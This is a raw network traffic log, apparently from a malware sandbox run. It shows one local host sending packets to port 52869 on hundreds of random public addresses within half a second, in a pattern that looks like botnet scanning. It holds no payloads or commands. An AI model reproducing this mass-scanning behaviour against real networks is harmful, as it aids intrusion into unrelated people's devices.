Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	83.131.139.248
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	24.217.170.140
Jul 20, 2024 23:10:38.983758926 CEST	58771	52869	192.168.2.15	202.225.54.27
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	17.113.144.131
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	74.74.206.232
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	34.33.224.36
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	135.228.190.116
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	171.218.135.148
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	195.202.70.255
Jul 20, 2024 23:10:38.984736919 CEST	58771	52869	192.168.2.15	133.76.164.119
Jul 20, 2024 23:10:38.984738111 CEST	58771	52869	192.168.2.15	1.176.202.8
Jul 20, 2024 23:10:38.986099958 CEST	52869	58771	166.52.15.70	192.168.2.15
Jul 20, 2024 23:10:38.986112118 CEST	52869	58771	43.133.8.12	192.168.2.15
Jul 20, 2024 23:10:38.986120939 CEST	52869	58771	198.101.221.147	192.168.2.15
Jul 20, 2024 23:10:38.986129045 CEST	52869	58771	77.179.58.34	192.168.2.15
Jul 20, 2024 23:10:38.986136913 CEST	52869	58771	217.165.15.99	192.168.2.15
Jul 20, 2024 23:10:38.986155987 CEST	52869	58771	48.100.128.90	192.168.2.15
Jul 20, 2024 23:10:38.986167908 CEST	52869	58771	107.76.125.57	192.168.2.15
Jul 20, 2024 23:10:38.986176968 CEST	52869	58771	183.152.46.183	192.168.2.15
Jul 20, 2024 23:10:38.986186028 CEST	52869	58771	209.227.250.145	192.168.2.15
Jul 20, 2024 23:10:38.986193895 CEST	52869	58771	5.217.122.202	192.168.2.15
Jul 20, 2024 23:10:38.986203909 CEST	52869	58771	38.33.145.83	192.168.2.15
Jul 20, 2024 23:10:38.986212969 CEST	52869	58771	49.109.114.24	192.168.2.15
Jul 20, 2024 23:10:38.986646891 CEST	58771	52869	192.168.2.15	184.153.16.160
Jul 20, 2024 23:10:38.986646891 CEST	58771	52869	192.168.2.15	76.121.9.197
Jul 20, 2024 23:10:38.986646891 CEST	58771	52869	192.168.2.15	85.58.46.197
Jul 20, 2024 23:10:38.986648083 CEST	58771	52869	192.168.2.15	58.182.144.205
Jul 20, 2024 23:10:38.986648083 CEST	58771	52869	192.168.2.15	115.168.195.29
Jul 20, 2024 23:10:38.986648083 CEST	58771	52869	192.168.2.15	90.168.138.133
Jul 20, 2024 23:10:38.986648083 CEST	58771	52869	192.168.2.15	90.243.163.184
Jul 20, 2024 23:10:38.986648083 CEST	58771	52869	192.168.2.15	19.178.73.115
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	174.208.164.191
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	116.119.52.37
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	220.232.136.70
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	202.28.202.224
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	209.183.99.39
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	156.228.105.46
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	32.164.208.200
Jul 20, 2024 23:10:38.988473892 CEST	58771	52869	192.168.2.15	47.105.202.14
Jul 20, 2024 23:10:38.988625050 CEST	58771	52869	192.168.2.15	136.60.36.22
Jul 20, 2024 23:10:38.988625050 CEST	58771	52869	192.168.2.15	45.82.62.255
Jul 20, 2024 23:10:38.988625050 CEST	39574	52869	192.168.2.15	112.183.31.205
Jul 20, 2024 23:10:38.988625050 CEST	39574	52869	192.168.2.15	112.183.31.205
Jul 20, 2024 23:10:38.988625050 CEST	58771	52869	192.168.2.15	66.29.130.220
Jul 20, 2024 23:10:38.988626003 CEST	58771	52869	192.168.2.15	140.79.132.232
Jul 20, 2024 23:10:38.988626003 CEST	58771	52869	192.168.2.15	195.250.121.139
Jul 20, 2024 23:10:38.988626003 CEST	58771	52869	192.168.2.15	87.2.229.121
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	110.119.198.9
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	192.175.130.142
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	40.60.223.205
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	154.58.208.228
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	213.123.65.61
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	124.135.237.200
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	113.210.251.223
Jul 20, 2024 23:10:38.990104914 CEST	58771	52869	192.168.2.15	154.122.109.79
Jul 20, 2024 23:10:38.990241051 CEST	52869	58771	92.82.130.170	192.168.2.15
Jul 20, 2024 23:10:38.990255117 CEST	52869	58771	158.161.126.217	192.168.2.15
Jul 20, 2024 23:10:38.990264893 CEST	52869	58771	103.192.13.82	192.168.2.15
Jul 20, 2024 23:10:38.990273952 CEST	52869	58771	34.81.155.133	192.168.2.15
Jul 20, 2024 23:10:38.990282059 CEST	52869	58771	178.229.97.234	192.168.2.15
Jul 20, 2024 23:10:38.990291119 CEST	52869	58771	113.222.34.152	192.168.2.15
Jul 20, 2024 23:10:38.990298986 CEST	52869	58771	92.52.146.107	192.168.2.15
Jul 20, 2024 23:10:38.990309954 CEST	52869	58771	126.247.80.60	192.168.2.15
Jul 20, 2024 23:10:38.990318060 CEST	52869	58771	74.156.46.132	192.168.2.15
Jul 20, 2024 23:10:38.990326881 CEST	52869	58771	109.111.235.58	192.168.2.15
Jul 20, 2024 23:10:38.990334988 CEST	52869	58771	133.94.89.69	192.168.2.15
Jul 20, 2024 23:10:38.990344048 CEST	52869	58771	36.172.179.240	192.168.2.15
Jul 20, 2024 23:10:38.990353107 CEST	52869	58771	155.81.106.165	192.168.2.15
Jul 20, 2024 23:10:38.990360975 CEST	52869	58771	90.236.161.92	192.168.2.15
Jul 20, 2024 23:10:38.990370035 CEST	52869	58771	160.69.221.68	192.168.2.15
Jul 20, 2024 23:10:38.990377903 CEST	52869	58771	104.41.98.203	192.168.2.15
Jul 20, 2024 23:10:38.990386963 CEST	52869	58771	170.145.38.103	192.168.2.15
Jul 20, 2024 23:10:38.990395069 CEST	52869	58771	108.61.81.113	192.168.2.15
Jul 20, 2024 23:10:38.990402937 CEST	52869	58771	98.66.219.40	192.168.2.15
Jul 20, 2024 23:10:38.990410089 CEST	52869	58771	157.131.235.29	192.168.2.15
Jul 20, 2024 23:10:38.990418911 CEST	52869	58771	39.86.115.242	192.168.2.15
Jul 20, 2024 23:10:38.990427017 CEST	52869	58771	179.232.254.227	192.168.2.15
Jul 20, 2024 23:10:38.990437031 CEST	52869	58771	181.197.235.182	192.168.2.15
Jul 20, 2024 23:10:38.990448952 CEST	52869	58771	87.185.213.216	192.168.2.15
Jul 20, 2024 23:10:38.990458965 CEST	52869	58771	162.46.246.161	192.168.2.15
Jul 20, 2024 23:10:38.990468025 CEST	52869	58771	219.116.181.0	192.168.2.15
Jul 20, 2024 23:10:38.990475893 CEST	52869	58771	51.213.60.163	192.168.2.15
Jul 20, 2024 23:10:38.990484953 CEST	52869	58771	41.251.78.177	192.168.2.15
Jul 20, 2024 23:10:38.990493059 CEST	52869	58771	75.58.233.33	192.168.2.15
Jul 20, 2024 23:10:38.990500927 CEST	52869	58771	177.59.245.209	192.168.2.15
Jul 20, 2024 23:10:38.990509987 CEST	52869	58771	201.142.86.127	192.168.2.15
Jul 20, 2024 23:10:38.990519047 CEST	52869	58771	178.66.185.45	192.168.2.15
Jul 20, 2024 23:10:38.990528107 CEST	52869	58771	165.248.194.220	192.168.2.15
Jul 20, 2024 23:10:38.990535975 CEST	52869	58771	166.30.209.35	192.168.2.15
Jul 20, 2024 23:10:38.990544081 CEST	52869	58771	154.61.109.197	192.168.2.15
Jul 20, 2024 23:10:38.990551949 CEST	52869	58771	201.163.86.45	192.168.2.15
Jul 20, 2024 23:10:38.990561008 CEST	52869	58771	91.189.246.64	192.168.2.15
Jul 20, 2024 23:10:38.990569115 CEST	52869	58771	109.93.128.209	192.168.2.15
Jul 20, 2024 23:10:38.990576982 CEST	52869	58771	185.11.210.188	192.168.2.15
Jul 20, 2024 23:10:38.990585089 CEST	52869	58771	122.220.2.110	192.168.2.15
Jul 20, 2024 23:10:38.990592003 CEST	52869	58771	160.29.196.231	192.168.2.15
Jul 20, 2024 23:10:38.990600109 CEST	52869	58771	165.248.89.125	192.168.2.15
Jul 20, 2024 23:10:38.990607023 CEST	52869	58771	27.17.138.84	192.168.2.15
Jul 20, 2024 23:10:38.990614891 CEST	52869	58771	82.110.100.250	192.168.2.15
Jul 20, 2024 23:10:38.990622997 CEST	52869	58771	27.90.178.54	192.168.2.15
Jul 20, 2024 23:10:38.990632057 CEST	52869	58771	87.208.203.210	192.168.2.15
Jul 20, 2024 23:10:38.990653992 CEST	52869	58771	70.167.51.81	192.168.2.15
Jul 20, 2024 23:10:38.990664005 CEST	52869	58771	140.223.133.228	192.168.2.15
Jul 20, 2024 23:10:38.990673065 CEST	52869	58771	170.110.46.30	192.168.2.15
Jul 20, 2024 23:10:38.990680933 CEST	52869	58771	184.226.113.143	192.168.2.15
Jul 20, 2024 23:10:38.990689993 CEST	52869	58771	143.39.73.238	192.168.2.15
Jul 20, 2024 23:10:38.990699053 CEST	52869	58771	176.7.200.170	192.168.2.15
Jul 20, 2024 23:10:38.990706921 CEST	52869	58771	24.38.240.51	192.168.2.15
Jul 20, 2024 23:10:38.990715027 CEST	52869	58771	89.44.192.146	192.168.2.15
Jul 20, 2024 23:10:38.990722895 CEST	52869	58771	45.196.65.253	192.168.2.15
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	42.250.239.223
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	222.252.7.7
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	105.189.130.216
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	95.10.158.177
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	159.255.12.160
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	154.174.121.129
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	154.8.108.34
Jul 20, 2024 23:10:38.990736961 CEST	58771	52869	192.168.2.15	178.162.187.51
Jul 20, 2024 23:10:38.993037939 CEST	58771	52869	192.168.2.15	68.127.177.74
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	200.157.164.208
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	172.248.193.236
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	63.181.216.41
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	101.108.145.138
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	167.111.167.13
Jul 20, 2024 23:10:38.993038893 CEST	58771	52869	192.168.2.15	201.121.155.5
Jul 20, 2024 23:10:38.994935989 CEST	58771	52869	192.168.2.15	194.51.38.79
Jul 20, 2024 23:10:38.994935989 CEST	58771	52869	192.168.2.15	68.235.64.147
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	12.188.91.94
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	76.120.98.58
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	168.52.247.36
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	85.110.124.59
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	201.38.82.44
Jul 20, 2024 23:10:38.994936943 CEST	58771	52869	192.168.2.15	78.179.192.192
Jul 20, 2024 23:10:38.995426893 CEST	58771	52869	192.168.2.15	199.140.211.43
Jul 20, 2024 23:10:38.995426893 CEST	58771	52869	192.168.2.15	160.253.224.27
Jul 20, 2024 23:10:38.995426893 CEST	58771	52869	192.168.2.15	73.171.207.188
Jul 20, 2024 23:10:38.995428085 CEST	58771	52869	192.168.2.15	38.143.90.107
Jul 20, 2024 23:10:38.995428085 CEST	58771	52869	192.168.2.15	46.169.99.175
Jul 20, 2024 23:10:38.995428085 CEST	58771	52869	192.168.2.15	144.40.158.145
Jul 20, 2024 23:10:38.995428085 CEST	58771	52869	192.168.2.15	162.136.177.252
Jul 20, 2024 23:10:38.995428085 CEST	58771	52869	192.168.2.15	112.250.31.72
Jul 20, 2024 23:10:38.995485067 CEST	52869	58771	118.220.208.246	192.168.2.15
Jul 20, 2024 23:10:38.995496035 CEST	52869	58771	37.152.21.206	192.168.2.15
Jul 20, 2024 23:10:38.995505095 CEST	52869	58771	174.22.107.242	192.168.2.15
Jul 20, 2024 23:10:38.995517969 CEST	52869	58771	57.13.138.62	192.168.2.15
Jul 20, 2024 23:10:38.995624065 CEST	58771	52869	192.168.2.15	144.124.7.156
Jul 20, 2024 23:10:38.995624065 CEST	58771	52869	192.168.2.15	88.115.85.7
Jul 20, 2024 23:10:38.995624065 CEST	58771	52869	192.168.2.15	12.1.23.104
Jul 20, 2024 23:10:38.995624065 CEST	58771	52869	192.168.2.15	73.119.138.150
Jul 20, 2024 23:10:38.995625019 CEST	58771	52869	192.168.2.15	52.37.34.153
Jul 20, 2024 23:10:38.995625019 CEST	58771	52869	192.168.2.15	184.179.192.125
Jul 20, 2024 23:10:38.995625019 CEST	58771	52869	192.168.2.15	184.13.32.75
Jul 20, 2024 23:10:38.995625019 CEST	58771	52869	192.168.2.15	83.137.242.222
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	182.194.127.81
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	130.172.174.123
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	60.21.104.14
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	158.54.180.38
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	190.71.144.237
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	216.42.201.137
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	211.85.69.54
Jul 20, 2024 23:10:38.996205091 CEST	58771	52869	192.168.2.15	20.73.124.228
Jul 20, 2024 23:10:38.996572971 CEST	52869	58771	17.113.144.131	192.168.2.15
Jul 20, 2024 23:10:38.996593952 CEST	52869	58771	154.9.232.23	192.168.2.15
Jul 20, 2024 23:10:38.996603966 CEST	52869	58771	190.217.179.48	192.168.2.15
Jul 20, 2024 23:10:38.996613979 CEST	52869	58771	143.231.161.204	192.168.2.15
Jul 20, 2024 23:10:38.996670961 CEST	52869	58771	83.131.139.248	192.168.2.15
Jul 20, 2024 23:10:38.996682882 CEST	52869	58771	24.217.170.140	192.168.2.15
Jul 20, 2024 23:10:38.996690989 CEST	52869	58771	73.237.50.172	192.168.2.15
Jul 20, 2024 23:10:38.996699095 CEST	52869	58771	184.153.16.160	192.168.2.15
Jul 20, 2024 23:10:38.996707916 CEST	52869	58771	169.79.227.81	192.168.2.15
Jul 20, 2024 23:10:38.996727943 CEST	52869	58771	76.121.9.197	192.168.2.15
Jul 20, 2024 23:10:38.996737003 CEST	52869	58771	4.68.54.79	192.168.2.15
Jul 20, 2024 23:10:38.996746063 CEST	52869	58771	168.60.99.105	192.168.2.15
Jul 20, 2024 23:10:38.996753931 CEST	52869	58771	85.58.46.197	192.168.2.15
Jul 20, 2024 23:10:38.996764898 CEST	52869	58771	136.60.36.22	192.168.2.15
Jul 20, 2024 23:10:38.996773005 CEST	52869	58771	58.182.144.205	192.168.2.15
Jul 20, 2024 23:10:38.996814013 CEST	52869	58771	174.208.164.191	192.168.2.15
Jul 20, 2024 23:10:38.996824980 CEST	52869	58771	115.168.195.29	192.168.2.15
Jul 20, 2024 23:10:38.996834040 CEST	52869	58771	202.225.54.27	192.168.2.15
Jul 20, 2024 23:10:38.996841908 CEST	52869	58771	116.119.52.37	192.168.2.15
Jul 20, 2024 23:10:38.996903896 CEST	52869	58771	45.82.62.255	192.168.2.15
Jul 20, 2024 23:10:38.996913910 CEST	52869	58771	110.119.198.9	192.168.2.15
Jul 20, 2024 23:10:38.997078896 CEST	52869	58771	220.232.136.70	192.168.2.15
Jul 20, 2024 23:10:38.997176886 CEST	52869	58771	90.168.138.133	192.168.2.15
Jul 20, 2024 23:10:38.997186899 CEST	52869	39574	112.183.31.205	192.168.2.15
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	110.195.69.132
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	114.103.82.126
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	68.73.19.15
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	124.232.154.15
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	102.98.174.123
Jul 20, 2024 23:10:38.997199059 CEST	58771	52869	192.168.2.15	62.135.93.226
Jul 20, 2024 23:10:38.997200012 CEST	58771	52869	192.168.2.15	83.73.135.208
Jul 20, 2024 23:10:38.997200012 CEST	58771	52869	192.168.2.15	185.54.160.148
Jul 20, 2024 23:10:38.997220039 CEST	52869	58771	202.28.202.224	192.168.2.15
Jul 20, 2024 23:10:38.997229099 CEST	52869	58771	192.175.130.142	192.168.2.15
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	222.95.36.229
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	155.240.87.154
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	207.130.232.226
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	190.134.68.206
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	35.188.61.45
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	203.198.185.50
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	158.175.196.107
Jul 20, 2024 23:10:39.001260996 CEST	58771	52869	192.168.2.15	99.9.28.109
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	219.67.141.37
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	95.202.176.59
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	106.69.59.16
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	109.87.123.124
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	12.15.153.124
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	171.98.191.97
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	195.207.0.55
Jul 20, 2024 23:10:39.001777887 CEST	58771	52869	192.168.2.15	20.223.23.215
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	41.19.211.55
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	163.184.174.135
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	45.156.147.64
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	40.70.214.228
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	83.29.88.76
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	17.184.223.151
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	129.202.137.125
Jul 20, 2024 23:10:39.002592087 CEST	58771	52869	192.168.2.15	39.91.70.157
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	58.190.64.20
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	200.159.150.240
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	202.163.110.245
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	46.43.1.176
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	108.160.16.120
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	120.166.182.153
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	17.64.210.133
Jul 20, 2024 23:10:39.002749920 CEST	58771	52869	192.168.2.15	27.239.105.255
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	102.243.212.122
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	166.244.186.128
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	192.121.38.60
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	142.83.219.63
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	53.231.82.160
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	65.128.117.159
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	95.28.221.214
Jul 20, 2024 23:10:39.003397942 CEST	58771	52869	192.168.2.15	84.90.22.253
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	213.13.37.141
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	75.172.147.110
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	124.79.137.120
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	57.205.209.205
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	209.222.223.38
Jul 20, 2024 23:10:39.007826090 CEST	58771	52869	192.168.2.15	186.158.96.143
Jul 20, 2024 23:10:39.007827044 CEST	58771	52869	192.168.2.15	193.97.241.105
Jul 20, 2024 23:10:39.007827044 CEST	58771	52869	192.168.2.15	197.177.173.76
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	188.92.250.60
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	101.180.103.77
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	2.202.26.203
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	169.184.79.124
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	86.217.29.78
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	157.33.175.112
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	61.206.111.53
Jul 20, 2024 23:10:39.007973909 CEST	58771	52869	192.168.2.15	148.178.43.17
Jul 20, 2024 23:10:39.008779049 CEST	58771	52869	192.168.2.15	17.194.19.21
Jul 20, 2024 23:10:39.008779049 CEST	58771	52869	192.168.2.15	207.177.145.139
Jul 20, 2024 23:10:39.008779049 CEST	58771	52869	192.168.2.15	1.150.208.27
Jul 20, 2024 23:10:39.008779049 CEST	58771	52869	192.168.2.15	216.181.147.63
Jul 20, 2024 23:10:39.008779049 CEST	58771	52869	192.168.2.15	156.50.153.198
Jul 20, 2024 23:10:39.008780003 CEST	58771	52869	192.168.2.15	200.113.64.186
Jul 20, 2024 23:10:39.008780003 CEST	58771	52869	192.168.2.15	95.107.193.200
Jul 20, 2024 23:10:39.008780003 CEST	58771	52869	192.168.2.15	153.70.34.61
Jul 20, 2024 23:10:39.008944988 CEST	58771	52869	192.168.2.15	51.195.43.231
Jul 20, 2024 23:10:39.008944988 CEST	58771	52869	192.168.2.15	140.169.88.3
Jul 20, 2024 23:10:39.008944988 CEST	58771	52869	192.168.2.15	19.7.44.118
Jul 20, 2024 23:10:39.008945942 CEST	58771	52869	192.168.2.15	223.213.191.10
Jul 20, 2024 23:10:39.008945942 CEST	58771	52869	192.168.2.15	119.63.35.114
Jul 20, 2024 23:10:39.008945942 CEST	58771	52869	192.168.2.15	111.98.52.15
Jul 20, 2024 23:10:39.008945942 CEST	58771	52869	192.168.2.15	90.138.160.122
Jul 20, 2024 23:10:39.008945942 CEST	58771	52869	192.168.2.15	60.47.44.203
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	183.160.176.154
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	151.187.101.5
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	13.74.116.248
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	27.79.121.101
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	76.97.183.254
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	205.173.25.41
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	109.112.97.157
Jul 20, 2024 23:10:39.010155916 CEST	58771	52869	192.168.2.15	179.246.50.185
Jul 20, 2024 23:10:39.012938976 CEST	52869	58771	40.60.223.205	192.168.2.15
Jul 20, 2024 23:10:39.012953043 CEST	52869	58771	90.243.163.184	192.168.2.15
Jul 20, 2024 23:10:39.012963057 CEST	52869	58771	154.58.208.228	192.168.2.15
Jul 20, 2024 23:10:39.012974977 CEST	52869	58771	209.183.99.39	192.168.2.15
Jul 20, 2024 23:10:39.012984991 CEST	52869	58771	213.123.65.61	192.168.2.15
Jul 20, 2024 23:10:39.012994051 CEST	52869	58771	19.178.73.115	192.168.2.15
Jul 20, 2024 23:10:39.013004065 CEST	52869	58771	124.135.237.200	192.168.2.15
Jul 20, 2024 23:10:39.013014078 CEST	52869	58771	156.228.105.46	192.168.2.15
Jul 20, 2024 23:10:39.013025045 CEST	52869	58771	68.127.177.74	192.168.2.15
Jul 20, 2024 23:10:39.013035059 CEST	52869	58771	113.210.251.223	192.168.2.15
Jul 20, 2024 23:10:39.013046026 CEST	52869	58771	154.122.109.79	192.168.2.15
Jul 20, 2024 23:10:39.013056993 CEST	52869	58771	32.164.208.200	192.168.2.15
Jul 20, 2024 23:10:39.013067007 CEST	52869	58771	199.140.211.43	192.168.2.15
Jul 20, 2024 23:10:39.013076067 CEST	52869	58771	47.105.202.14	192.168.2.15
Jul 20, 2024 23:10:39.013086081 CEST	52869	58771	160.253.224.27	192.168.2.15
Jul 20, 2024 23:10:39.013094902 CEST	52869	58771	73.171.207.188	192.168.2.15
Jul 20, 2024 23:10:39.013104916 CEST	52869	58771	182.194.127.81	192.168.2.15
Jul 20, 2024 23:10:39.013113976 CEST	52869	58771	130.172.174.123	192.168.2.15
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	84.201.91.82
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	120.243.120.26
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	118.25.10.238
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	125.48.233.43
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	72.112.184.133
Jul 20, 2024 23:10:39.013973951 CEST	48602	52869	192.168.2.15	87.147.33.140
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	82.88.160.15
Jul 20, 2024 23:10:39.013973951 CEST	58771	52869	192.168.2.15	125.65.21.146
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	19.135.94.129
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	58.43.130.125
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	117.72.85.131
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	196.34.84.128
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	183.245.248.55
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	205.167.124.255
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	188.80.186.56
Jul 20, 2024 23:10:39.014763117 CEST	58771	52869	192.168.2.15	92.57.36.105
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	133.209.219.240
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	92.191.190.212
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	167.194.142.232
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	167.199.225.130
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	77.56.183.178
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	200.16.75.58
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	36.13.26.234
Jul 20, 2024 23:10:39.015436888 CEST	58771	52869	192.168.2.15	178.9.46.174
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	195.72.16.230
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	116.183.105.217
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	119.225.230.240
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	47.2.9.114
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	170.247.115.65
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	79.123.85.16
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	139.101.204.27
Jul 20, 2024 23:10:39.016073942 CEST	58771	52869	192.168.2.15	139.0.174.164
Jul 20, 2024 23:10:39.016522884 CEST	58771	52869	192.168.2.15	105.95.86.135
